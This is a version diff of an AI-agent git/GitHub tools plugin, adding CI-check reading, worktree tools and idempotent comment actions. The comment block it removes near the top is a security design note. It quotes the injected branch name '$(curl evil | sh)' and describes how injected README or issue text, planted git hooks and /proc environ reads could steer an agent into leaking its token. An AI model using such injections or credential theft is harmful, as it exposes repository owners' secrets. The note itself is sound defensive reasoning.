@dynamicagents/plugins 0.12.0 → 0.13.0

package/dist/repo/index.js

@@ -1,9 +1,11 @@
 import { definePlugin } from "@dynamicagents/core";
 import { repoContext } from "./context.js";
+import { checkTools } from "./tools-checks.js";
 import { cloneTools } from "./tools-clone.js";
-import { forgeTools } from "./tools-forge.js";
-import { reviewTools } from "./tools-review.js";
+import { prActions, prTools } from "./tools-pr.js";
+import { reviewActions, reviewTools } from "./tools-review.js";
 import { worktreeTools } from "./tools-worktree.js";
+import { worktreesTools } from "./tools-worktrees.js";
 /**
  * The URL parsing, re-exported from the one entry point.
  *
@@ -13,107 +15,121 @@ import { worktreeTools } from "./tools-worktree.js";
  */
 export { parseRepo } from "./url.js";
 export { graphqlEndpoint, truncateOutput } from "./context.js";
-/**
- * `@dynamicagents/plugins/repo` — clone, commit, push, open a pull request.
- *
- * Layered over a container rather than owning one: it needs a shell with `git`
- * on it, and `@dynamicagents/plugins/computer` provides exactly that through
- * `computerExec`. Passing `exec` in rather than importing that plugin keeps the
- * two independent — a host with its own container can use this against that
- * instead, and the tests here need no container at all.
- *
- * ## The credential never enters the container
- *
- * The three operations that authenticate — clone, fetch, push — are not run
- * here. They go to {@link RepoConfig.git}, which the host implements on its own
- * side of the boundary. Everything else — `status`, `diff`, `add`, `commit`,
- * `checkout` — runs in the container through {@link RepoConfig.exec}, because
- * none of it needs to authenticate.
- *
- * That split is the one thing to preserve when changing this file: if an
- * operation talks to the forge it does not belong on `exec`, and if it does not,
- * it has no business anywhere else.
- *
- * It is absolute rather than careful because a narrower version does not hold.
- * Git executes whatever `.git/config` and `.git/hooks` name; both live in the
- * workspace filesystem, which outlives the container and which a co-installed
- * shell tool can write. So a model needs no credential on its *own* command — a
- * planted `pre-push` hook reads one out of the environment `repo_push` gives it.
- * Nor is that patchable key by key: a URL-specific `http.<url>.sslVerify=false`
- * in the repository's own config beats a `-c` override, because specificity
- * outranks precedence. And a credential that exists in a process environment for
- * the length of one command is readable at `/proc/<pid>/environ` by anything
- * else in the container.
- *
- * Two further rules, which are about the forge rather than the container:
- *
- * 1. **The forge is an allowlist, checked before anything runs.** A clone URL is
- *    model input — a repository README, an issue body, or a page fetched by a
- *    co-installed browser plugin is enough to choose it — and a credential
- *    offered to a host of the model's choosing is the whole game. So the URL's
- *    host must be on {@link RepoConfig.allowedHosts} before any operation
- *    starts, and the allowlist travels with each call so the host can bind the
- *    check to the moment the token would actually be handed over. `origin` is
- *    re-derived and re-checked on every push rather than remembered, because the
- *    checkout's `.git/config` is a file the container can rewrite.
- * 2. **The forge API is called from the Worker**, so the credential that can
- *    write to a repository through the API never crosses the boundary either.
- *    Every tool that reads or writes through it resolves the repository from the
- *    checkout's own origin rather than from a parameter, so there is no way to
- *    point the token at a repository nobody asked about.
- *
- * Model-authored values — URLs, branch names, commit messages — travel to the
- * container as environment variables rather than being interpolated into a
- * command, so a branch name of `$(curl evil | sh)` is inert text. That is about
- * shell injection, not credentials, and is independent of all of the above.
- *
- * A limit this plugin cannot close: the allowlist bounds the *host*, never the
- * repository. Whatever the token can reach, an agent talked into naming it can
- * reach. See the README — the token wants to be fine-grained.
- */
-/** This plugin's tool-family name, as a recipe's `toolFamilies` lists it. */
-export const REPO_FAMILY = "repo";
-export function buildRepoTools(config, 
-/** Forwarded to every `exec`; see {@link RepoExec}'s `runtime` option. */
-runtime) {
-    return repoSurface(config, runtime).tools;
-}
-/** The repo tools, as one closure over a caller's config. */
-function repoSurface(config, runtime) {
-    const ctx = repoContext(config, runtime);
-    const tools = {
-        ...cloneTools(ctx),
-        ...worktreeTools(ctx),
-        ...forgeTools(ctx),
-        ...reviewTools(ctx)
-    };
-    return { tools };
-}
+/** Every tool and action this plugin can offer, by the name the model sees. */
+export const REPO_TOOL_NAMES = [
+    "repo_clone",
+    "repo_fetch",
+    "repo_status",
+    "repo_diff",
+    "repo_commit",
+    "repo_push",
+    "repo_open_pr",
+    "repo_issue_view",
+    "repo_pr_view",
+    "repo_pr_comment",
+    "repo_pr_review_status",
+    "repo_pr_threads",
+    "repo_pr_thread_reply",
+    "repo_pr_checks",
+    "repo_worktrees",
+    "repo_worktree"
+];
 /**
  * No tool here is held for a person's approval — see this plugin's README for
  * why, and for what a fork that wants one does instead.
  */
 export function repo(config) {
+    const selected = new Set(config.tools ?? REPO_TOOL_NAMES);
+    const has = (name) => selected.has(name);
+    const only = (all) => Object.fromEntries(Object.entries(all).filter(([name]) => selected.has(name)));
+    const views = [
+        has("repo_issue_view") &&
+            "`repo_issue_view` reads an issue or pull request with its comments",
+        has("repo_pr_view") &&
+            "`repo_pr_view` shows a pull request's state and the files it touches",
+        has("repo_pr_comment") && "`repo_pr_comment` leaves a comment"
+    ].filter((line) => typeof line === "string");
+    const worktrees = config.worktrees && [
+        has("repo_worktrees") &&
+            "`repo_worktrees` lists the worktrees your writing sub-agents committed in — each one's branch, whether a session is still in it, whether its commits are pushed — and releases one you will not keep.",
+        has("repo_worktree") &&
+            "`repo_worktree` points every repo tool and your file reads at the worktree holding a branch, and they stay there until you call it again — with no branch to come back to your own checkout."
+    ];
+    const lines = [
+        has("repo_clone") &&
+            "`repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you" +
+                (has("repo_diff")
+                    ? " — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do."
+                    : "."),
+        has("repo_fetch") &&
+            "`repo_fetch` brings a checkout's remote branches in without touching its tree" +
+                (has("repo_diff")
+                    ? " — how you review a branch someone else pushed, as `origin/<branch>` with `repo_diff`."
+                    : "."),
+        has("repo_status") &&
+            has("repo_diff") &&
+            "`repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
+        has("repo_status") &&
+            !has("repo_diff") &&
+            "`repo_status` shows what you have changed.",
+        !has("repo_status") &&
+            has("repo_diff") &&
+            "`repo_diff` shows what changed. On a large change call it with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
+        has("repo_commit") && "`repo_commit` stages everything and commits.",
+        has("repo_push") &&
+            "`repo_push` pushes a branch the checkout holds, or creates one at the current commit. It refuses the default branch and other protected names, and it refuses a branch that adds no commit the remote does not already have — that is not negotiable.",
+        has("repo_open_pr") &&
+            "`repo_open_pr` opens the pull request and returns its URL.",
+        views.length > 0 &&
+            `${views.join(", ")}. ${views.length > 1 ? "Each acts" : "It acts"} on the repository you have checked out — read the issue a task refers to before guessing what it asks for.`,
+        has("repo_pr_review_status") &&
+            "`repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
+        has("repo_pr_threads") &&
+            "`repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the " +
+                (has("repo_issue_view")
+                    ? "timeline `repo_issue_view` shows."
+                    : "pull request's timeline.") +
+                (has("repo_pr_thread_reply")
+                    ? " `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened."
+                    : ""),
+        has("repo_pr_thread_reply") &&
+            !has("repo_pr_threads") &&
+            "`repo_pr_thread_reply` answers a review thread and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
+        has("repo_pr_checks") &&
+            "`repo_pr_checks` says how a pull request's CI stands on its latest commit: what is still running, what failed and where to read why, and what passed.",
+        ...(worktrees || [])
+    ].filter((line) => typeof line === "string");
+    const rules = [
+        has("repo_push") && "Never push to the default branch.",
+        has("repo_open_pr") &&
+            "Finish by opening a pull request and reporting its URL."
+    ].filter((line) => typeof line === "string");
+    const context = [
+        "You can work with git repositories:",
+        ...lines.map((line) => `- ${line}`),
+        ...(rules.length > 0 ? [rules.join(" ")] : [])
+    ].join("\n");
     return definePlugin({
-        key: "repo",
-        mainAgentTools: () => buildRepoTools(config),
-        // The runtime state goes through to `exec` untouched, so a delegated
-        // subtask's git commands run in the same container its parent cloned into.
-        toolFamilies: {
-            [REPO_FAMILY]: (ctx) => ({ tools: buildRepoTools(config, ctx.runtime) })
+        name: "repo",
+        // `runtime` goes through to `exec` untouched and is read per command, so a
+        // sub-agent's git commands run in the same container its parent cloned
+        // into.
+        tools: (ctx) => {
+            const repoCtx = repoContext(config, ctx.runtime);
+            return only({
+                ...cloneTools(repoCtx),
+                ...worktreeTools(repoCtx),
+                ...prTools(repoCtx),
+                ...reviewTools(repoCtx),
+                ...checkTools(repoCtx),
+                ...(config.worktrees ? worktreesTools(config.worktrees) : {})
+            });
+        },
+        actions: (ctx) => {
+            const repoCtx = repoContext(config, ctx.runtime);
+            return only({ ...prActions(repoCtx), ...reviewActions(repoCtx) });
         },
-        capability: [
-            "You can work with git repositories:",
-            "- `repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do.",
-            "- `repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
-            "- `repo_commit` stages everything and commits.",
-            "- `repo_push` pushes a work branch. It refuses the default branch and other protected names, and it refuses a branch carrying no commits the default branch does not already have — that is not negotiable.",
-            "- `repo_open_pr` opens the pull request and returns its URL.",
-            "- `repo_issue_view` reads an issue or pull request with its comments, `repo_pr_view` shows a pull request's state and the files it touches, and `repo_pr_comment` leaves a comment. All three act on the repository you have checked out — read the issue a task refers to before guessing what it asks for.",
-            "- `repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
-            "- `repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the timeline `repo_issue_view` shows. `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
-            "Never push to the default branch. Finish by opening a pull request and reporting its URL."
-        ].join("\n"),
+        context: [{ provider: { get: async () => context } }],
         requires: { secrets: ["GITHUB_TOKEN"] }
     });
 }

package/dist/repo/tools-checks.d.ts

@@ -0,0 +1,3 @@
+import type { ToolSet } from "ai";
+import type { RepoContext } from "./context.js";
+export declare function checkTools(ctx: RepoContext): ToolSet;

package/dist/repo/tools-checks.js

@@ -0,0 +1,112 @@
+import { tool } from "ai";
+import { z } from "zod";
+import { GITHUB_PAGE_SIZE } from "./context.js";
+/** A check run's conclusion that is not a failure. */
+const PASSING_CONCLUSIONS = new Set(["success", "neutral", "skipped"]);
+/**
+ * Both of GitHub's CI APIs, because a repository may report through either:
+ * Actions and apps through check runs, older integrations through statuses.
+ */
+function readChecks(runs, statuses) {
+    const fromRuns = runs.map((run) => {
+        const name = run.name ?? "(unnamed check)";
+        const url = run.html_url ?? run.details_url;
+        if (run.status !== "completed")
+            return { name, outcome: "pending", ...(url ? { url } : {}) };
+        const conclusion = run.conclusion ?? "unknown";
+        return PASSING_CONCLUSIONS.has(conclusion)
+            ? { name, outcome: "passed" }
+            : {
+                name,
+                outcome: "failed",
+                detail: conclusion,
+                ...(url ? { url } : {})
+            };
+    });
+    const fromStatuses = statuses.map((status) => {
+        const name = status.context ?? "(unnamed status)";
+        const url = status.target_url ?? undefined;
+        switch (status.state) {
+            case "success":
+                return { name, outcome: "passed" };
+            case "pending":
+                return { name, outcome: "pending", ...(url ? { url } : {}) };
+            default:
+                return {
+                    name,
+                    outcome: "failed",
+                    detail: status.state ?? "unknown",
+                    ...(url ? { url } : {})
+                };
+        }
+    });
+    return [...fromRuns, ...fromStatuses];
+}
+function listed(checks) {
+    return checks
+        .map((c) => `- ${c.name}${c.detail ? ` (${c.detail})` : ""}${c.url ? ` ${c.url}` : ""}`)
+        .join("\n");
+}
+export function checkTools(ctx) {
+    const { bounded, github, githubRepo } = ctx;
+    return {
+        repo_pr_checks: tool({
+            description: "Say how a pull request's checks stand on its latest commit — CI that is still running, failed or passed — in the repository you have checked out. Use it to know whether CI has finished and what failed, without waiting inside a session for it.",
+            inputSchema: z.object({
+                dir: z.string().describe("The checkout directory"),
+                number: z.number().int().positive().describe("Pull request number")
+            }),
+            execute: async ({ dir, number }) => {
+                const target = await githubRepo(dir);
+                if ("refusal" in target)
+                    return target.refusal;
+                const { owner, repo } = target;
+                const pr = await github("repo_pr_checks", `/repos/${owner}/${repo}/pulls/${number}`);
+                if (!pr.ok)
+                    return bounded(pr.message);
+                const sha = pr.data.head?.sha;
+                if (!sha)
+                    return `#${number} is not a pull request in ${owner}/${repo}`;
+                const short = sha.slice(0, 7);
+                const runs = await github("repo_pr_checks", `/repos/${owner}/${repo}/commits/${sha}/check-runs?per_page=${GITHUB_PAGE_SIZE}`);
+                if (!runs.ok)
+                    return bounded(runs.message);
+                // The combined status holds the latest per context, so one page is
+                // every context there is.
+                const statuses = await github("repo_pr_checks", `/repos/${owner}/${repo}/commits/${sha}/status?per_page=${GITHUB_PAGE_SIZE}`);
+                if (!statuses.ok)
+                    return bounded(statuses.message);
+                const runData = runs.data;
+                const statusData = statuses.data;
+                const checks = readChecks(runData.check_runs ?? [], statusData.statuses ?? []);
+                if (checks.length === 0) {
+                    return (`No checks have reported on #${number}'s latest commit (${short}). ` +
+                        "CI that runs on pushes registers within a minute or so of one; " +
+                        "after that, this repository runs none for this pull request.");
+                }
+                const failed = checks.filter((c) => c.outcome === "failed");
+                const pending = checks.filter((c) => c.outcome === "pending");
+                const passed = checks.length - failed.length - pending.length;
+                // Either API can run past a page, and what is past it may be the one
+                // failure, so an unread page is never "all passed".
+                const unread = [
+                    [runData.total_count ?? 0, "check runs"],
+                    [statusData.total_count ?? 0, "commit statuses"]
+                ]
+                    .filter(([total]) => total > GITHUB_PAGE_SIZE)
+                    .map(([total, what]) => `Only the first ${GITHUB_PAGE_SIZE} of ${total} ${what} were read.`);
+                const truncated = unread.length > 0;
+                return bounded([
+                    `Checks on #${number} at ${short}: ${failed.length} failed, ` +
+                        `${pending.length} still running, ${passed} passed.`,
+                    ...(failed.length ? ["", "Failed:", listed(failed)] : []),
+                    ...(pending.length ? ["", "Still running:", listed(pending)] : []),
+                    ...(truncated ? ["", ...unread] : []),
+                    ...(!failed.length && !pending.length && !truncated
+                        ? ["", "Every check has finished and passed."]
+                        : [])
+                ].join("\n"));
+            }
+        })
+    };
+}

package/dist/repo/tools-clone.js

@@ -145,7 +145,7 @@ export function cloneTools(ctx) {
                 // Identity has to exist before the first commit. Written through the
                 // container, and deliberately: the commits it names are made there, by
                 // `repo_commit`, with no credential in sight — only the three operations
-                // that talk to the forge moved.
+                // that talk to GitHub moved.
                 //
                 // Why a refresh rewrites it, and what answers for a repository this
                 // plugin never cloned, is on

package/dist/repo/tools-pr.d.ts

@@ -0,0 +1,14 @@
+import { type Action } from "@cloudflare/think";
+import type { ToolSet } from "ai";
+import type { RepoContext } from "./context.js";
+/** GitHub's REST surface: pull requests, issues and their comments. */
+export declare function prTools(ctx: RepoContext): ToolSet;
+/**
+ * The GitHub writes a recovered turn must not repeat, as Think actions.
+ *
+ * Every failure is thrown rather than returned. Think settles what an action
+ * returns and replays it for the life of the key, so a refusal returned as a
+ * string would answer every retry in the task; a throw releases the key, and
+ * the retry runs.
+ */
+export declare function prActions(ctx: RepoContext): Record<string, Action>;

package/dist/repo/{tools-forge.js → tools-pr.js}

@@ -1,9 +1,10 @@
+import { action } from "@cloudflare/think";
 import { tool } from "ai";
 import { z } from "zod";
-import { FORGE_PAGE_SIZE } from "./context.js";
-/** The forge's REST surface: pull requests, issues and their comments. */
-export function forgeTools(ctx) {
-    const { bounded, forge, forgeRepo } = ctx;
+import { actionTask, GITHUB_ACTION_TIMEOUT_MS, GITHUB_PAGE_SIZE, sha256 } from "./context.js";
+/** GitHub's REST surface: pull requests, issues and their comments. */
+export function prTools(ctx) {
+    const { bounded, github, githubRepo } = ctx;
     return {
         repo_open_pr: tool({
             description: "Open a pull request for a pushed branch and return its URL. Do this once the branch is pushed and the tests pass.",
@@ -22,7 +23,7 @@ export function forgeTools(ctx) {
                 // writes. A repository named at the call site is bounded only by the
                 // host allowlist, so an agent talked into naming one could open a pull
                 // request on anything the token can write to.
-                const target = await forgeRepo(dir);
+                const target = await githubRepo(dir);
                 if ("refusal" in target)
                     return target.refusal;
                 const { owner, repo } = target;
@@ -37,13 +38,13 @@ export function forgeTools(ctx) {
                         : `${decodeURIComponent(owner)}:${head}`,
                     base
                 });
-                const existing = await forge("repo_open_pr", `/repos/${owner}/${repo}/pulls?${filter}`);
+                const existing = await github("repo_open_pr", `/repos/${owner}/${repo}/pulls?${filter}`);
                 const open = existing.ok && Array.isArray(existing.data)
                     ? existing.data[0]
                     : undefined;
                 if (open?.html_url)
                     return `already open, nothing new was created: ${open.html_url}`;
-                const opened = await forge("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
+                const opened = await github("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
                 if (!opened.ok)
                     // A POST whose answer never arrived may still have been received, and
                     // a blind retry is how one pull request becomes two.
@@ -62,18 +63,18 @@ export function forgeTools(ctx) {
                 number: z.number().int().positive().describe("Issue or PR number")
             }),
             execute: async ({ dir, number }) => {
-                const target = await forgeRepo(dir);
+                const target = await githubRepo(dir);
                 if ("refusal" in target)
                     return target.refusal;
                 const { owner, repo } = target;
                 // The issues endpoint, deliberately, even for a pull request: GitHub
                 // models every PR as an issue, and this is the one that carries the
                 // discussion. `repo_pr_view` is for the parts that are only a PR's.
-                const issue = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
+                const issue = await github("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
                 if (!issue.ok)
                     return bounded(issue.message);
                 const data = issue.data;
-                const comments = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${FORGE_PAGE_SIZE}`);
+                const comments = await github("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${GITHUB_PAGE_SIZE}`);
                 // A failure here is not a failure of the tool: the issue itself was
                 // read, and half an answer beats none.
                 const thread = (comments.ok && Array.isArray(comments.data) ? comments.data : []);
@@ -81,7 +82,7 @@ export function forgeTools(ctx) {
                 // this thread is what the model reasons from: comments arrive oldest
                 // first, so the ones it cannot see are the most recent — the review
                 // feedback, on the pull request busy enough to have overflowed.
-                const moreComments = thread.length >= FORGE_PAGE_SIZE;
+                const moreComments = thread.length >= GITHUB_PAGE_SIZE;
                 return bounded([
                     `#${number} ${data.title ?? "(no title)"} [${data.state ?? "?"}]` +
                         (data.pull_request ? " (pull request)" : ""),
@@ -92,7 +93,7 @@ export function forgeTools(ctx) {
                     ...(comments.ok ? [] : [`\n(comments could not be read)`]),
                     ...(moreComments
                         ? [
-                            `\n(showing the first ${FORGE_PAGE_SIZE} comments; the thread is ` +
+                            `\n(showing the first ${GITHUB_PAGE_SIZE} comments; the thread is ` +
                                 `longer, and the newest are not among them)`
                         ]
                         : [])
@@ -106,17 +107,17 @@ export function forgeTools(ctx) {
                 number: z.number().int().positive().describe("Pull request number")
             }),
             execute: async ({ dir, number }) => {
-                const target = await forgeRepo(dir);
+                const target = await githubRepo(dir);
                 if ("refusal" in target)
                     return target.refusal;
                 const { owner, repo } = target;
-                const pr = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
+                const pr = await github("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
                 if (!pr.ok)
                     return bounded(pr.message);
                 const data = pr.data;
-                const files = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${FORGE_PAGE_SIZE}`);
+                const files = await github("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${GITHUB_PAGE_SIZE}`);
                 const changed = (files.ok && Array.isArray(files.data) ? files.data : []);
-                const moreFiles = changed.length >= FORGE_PAGE_SIZE;
+                const moreFiles = changed.length >= GITHUB_PAGE_SIZE;
                 return bounded([
                     `#${number} ${data.title ?? "(no title)"}`,
                     `${data.merged ? "merged" : (data.state ?? "?")}` +
@@ -141,36 +142,52 @@ export function forgeTools(ctx) {
                             : "  (changed files could not be read)",
                     ...(moreFiles
                         ? [
-                            `\n(showing the first ${FORGE_PAGE_SIZE} files; this pull request ` +
+                            `\n(showing the first ${GITHUB_PAGE_SIZE} files; this pull request ` +
                                 `touches more)`
                         ]
                         : [])
                 ].join("\n"));
             }
-        }),
-        repo_pr_comment: tool({
-            description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished.",
-            inputSchema: z.object({
-                dir: z.string().describe("The checkout directory"),
-                number: z
-                    .number()
-                    .int()
-                    .positive()
-                    .describe("Pull request or issue number"),
-                body: z.string().describe("The comment, as markdown")
-            }),
+        })
+    };
+}
+/**
+ * The GitHub writes a recovered turn must not repeat, as Think actions.
+ *
+ * Every failure is thrown rather than returned. Think settles what an action
+ * returns and replays it for the life of the key, so a refusal returned as a
+ * string would answer every retry in the task; a throw releases the key, and
+ * the retry runs.
+ */
+export function prActions(ctx) {
+    const { bounded, github, githubRepo } = ctx;
+    const commentInput = z.object({
+        dir: z.string().describe("The checkout directory"),
+        number: z
+            .number()
+            .int()
+            .positive()
+            .describe("Pull request or issue number"),
+        body: z.string().describe("The comment, as markdown")
+    });
+    return {
+        repo_pr_comment: action({
+            description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished. The same comment twice in one task is posted once.",
+            inputSchema: commentInput,
+            timeoutMs: GITHUB_ACTION_TIMEOUT_MS,
+            idempotencyKey: async ({ input, ctx: turn }) => `${actionTask(turn)}:${input.dir}#${input.number}:comment:${await sha256(input.body)}`,
             execute: async ({ dir, number, body }) => {
-                const target = await forgeRepo(dir);
+                const target = await githubRepo(dir);
                 if ("refusal" in target)
-                    return target.refusal;
+                    throw new Error(target.refusal);
                 const { owner, repo } = target;
-                const posted = await forge("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
+                const posted = await github("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
                 if (!posted.ok)
                     // The same hazard `repo_open_pr` names, for the same reason: a POST
-                    // whose answer never arrived may still have been received, and a blind
-                    // retry is how one comment becomes two.
-                    return bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
-                        `comment may exist anyway — read it back with repo_issue_view before retrying.`);
+                    // whose answer never arrived may still have been received. The key
+                    // is released, so a retry posts again.
+                    throw new Error(bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
+                        `comment may exist anyway — read it back with repo_issue_view before retrying.`));
                 const data = posted.data;
                 return data.html_url ?? `commented on #${number}`;
             }

package/dist/repo/tools-review.d.ts

@@ -1,3 +1,12 @@
+import { type Action } from "@cloudflare/think";
 import type { ToolSet } from "ai";
 import type { RepoContext } from "./context.js";
 export declare function reviewTools(ctx: RepoContext): ToolSet;
+/**
+ * Answering a thread, as a Think action — see
+ * {@link file://./tools-pr.ts prActions} for why every failure is
+ * thrown. The one outcome returned short of success is a reply that landed on
+ * a thread that did not resolve: that reply must never be sent again, so it is
+ * settled, and the resolve-only call it asks for is a different key.
+ */
+export declare function reviewActions(ctx: RepoContext): Record<string, Action>;